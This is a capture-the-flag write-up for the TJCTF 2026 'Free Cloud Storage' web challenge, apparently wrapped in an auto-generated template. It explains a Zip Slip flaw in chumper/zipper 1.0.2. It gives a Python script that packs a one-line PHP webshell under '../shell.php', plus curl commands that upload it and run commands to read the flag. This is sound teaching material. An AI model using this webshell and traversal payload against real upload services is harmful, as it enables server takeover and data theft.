Free Cloud Storage
Free Cloud Storage
Platform: Tjctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-16 | Status: Solved Techniques: arbitrary_file_write, decoy_flag_detection, php_webshell_upload, zip_slip_path_traversal
Summary
Task: PHP ZIP upload service using vulnerable chumper/zipper 1.0.2 library that extracts without path sanitization. Solution: Zip Slip attack with ../shell.php to write a webshell to the web root, then RCE to read flag.txt.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
tjctf| ID:20260516_tjctf_free_cloud_storage - Tags: rce, path_traversal, php, file_upload, arbitrary_file_write, webshell, zip_slip, chumper_zipper
- Indicators: ZIP file upload and server-side extraction, chumper/zipper library in composer.json, extractTo() called without path sanitization, upload directory is a subdirectory of the web root, flag.php exists as a decoy returning 'Nice try
- Source:
20260516_tjctf_free_cloud_storage.md
Foothold
Vulnerability / Misconfiguration
- Arbitrary_file_write
- Decoy_flag_detection
- Php_webshell_upload
- Zip_slip_path_traversal
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- arbitrary_file_write
- decoy_flag_detection
- php_webshell_upload
- zip_slip_path_traversal
- Tags: rce, path_traversal, php, file_upload, arbitrary_file_write, webshell, zip_slip, chumper_zipper
Original Writeup
<details><summary>Click to expand original content</summary>Free Cloud Storage — TJCTF 2026
Description
Free cloud storage, what could possibly go wrong?
English summary: A PHP web application that lets users upload ZIP files, which are extracted server-side into an /uploads/ directory. The goal is to find and read the flag on the server. Source code is provided via chall.zip.
Analysis
Application Architecture
- Server: Apache/2.4.54 (Debian), PHP 7.4.33, running on Kubernetes
- Framework: Plain PHP with Composer dependency
chumper/zipperv1.0.2 - Functionality: Upload a
.zipfile → extracted to/var/www/html/uploads/ - Decoy:
flag.phpexists but only outputs"Nice try, but there's no flag here!" - Real flag: Located at
/var/www/html/flag.txt
Source Code Review
upload.php — the core vulnerable file:
<?php
require 'vendor/autoload.php';
use Chumper\Zipper\Zipper;
$uploadDir = __DIR__ . '/uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['zipfile'])) {
die("No file uploaded.");
}
$tmpName = $_FILES['zipfile']['tmp_name'];
$fileName = basename($_FILES['zipfile']['name']);
if (pathinfo($fileName, PATHINFO_EXTENSION) !== 'zip') {
die("Only zip files allowed.");
}
$destination = $uploadDir . $fileName;
if (!move_uploaded_file($tmpName, $destination)) {
die("Upload failed.");
}
$zipper = new Zipper();
$zipper->make($destination)->extractTo($uploadDir);
echo "<p>Extraction complete!</p>";
}
composer.json:
{
"name": "free-cloud-storage/zip-upload",
"require": {
"chumper/zipper": "1.0.2"
}
}
Vulnerability: Zip Slip (Path Traversal in ZIP Extraction)
The Chumper\Zipper library version 1.0.2 does not sanitize filenames inside ZIP archives. When a ZIP entry contains path traversal sequences like ../, the extracted file is written relative to the extraction directory — escaping the intended /uploads/ folder.
Since the extraction directory is /var/www/html/uploads/, a filename of ../shell.php causes the file to be written to /var/www/html/shell.php — directly in the web root, accessible via HTTP.
Key conditions that make this exploitable:
- The extraction directory (
/uploads/) is a subdirectory of the web root - The web server executes
.phpfiles in the web root - No filename sanitization is performed by the library
- The
www-datauser has write permissions to the web root
Solution
Step 1: Craft Malicious ZIP with Path Traversal
Create a ZIP archive where the entry name contains ../ to escape the uploads directory:
#!/usr/bin/env python3
"""
Free Cloud Storage - TJCTF 2026
Zip Slip exploit: write PHP webshell to web root via path traversal
"""
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../shell.php', '<?php system($_GET["c"]); ?>')
print("[+] Created evil.zip with entry: ../shell.php")
The ZIP contains a single entry named ../shell.php. When extracted to /var/www/html/uploads/, the ../ causes the file to be written to /var/www/html/shell.php.
Step 2: Upload the Malicious ZIP
curl -s -F "zipfile=@evil.zip" \ "https://free-cloud-storage-f785d51d362639b1.tjc.tf/upload.php" # Response: "File uploaded. Extracting... Extraction complete!"
Step 3: Verify RCE via Webshell
curl -s "https://free-cloud-storage-f785d51d362639b1.tjc.tf/shell.php?c=id" # Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 4: Read the Flag
curl -s "https://free-cloud-storage-f785d51d362639b1.tjc.tf/shell.php?c=cat+/var/www/html/flag.txt"
# Output: tjctf{REDACTED}
What Didn't Work
flag.php: Decoy file — only outputs "Nice try, but there's no flag here!"- The real flag was in
flag.txt, notflag.php
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR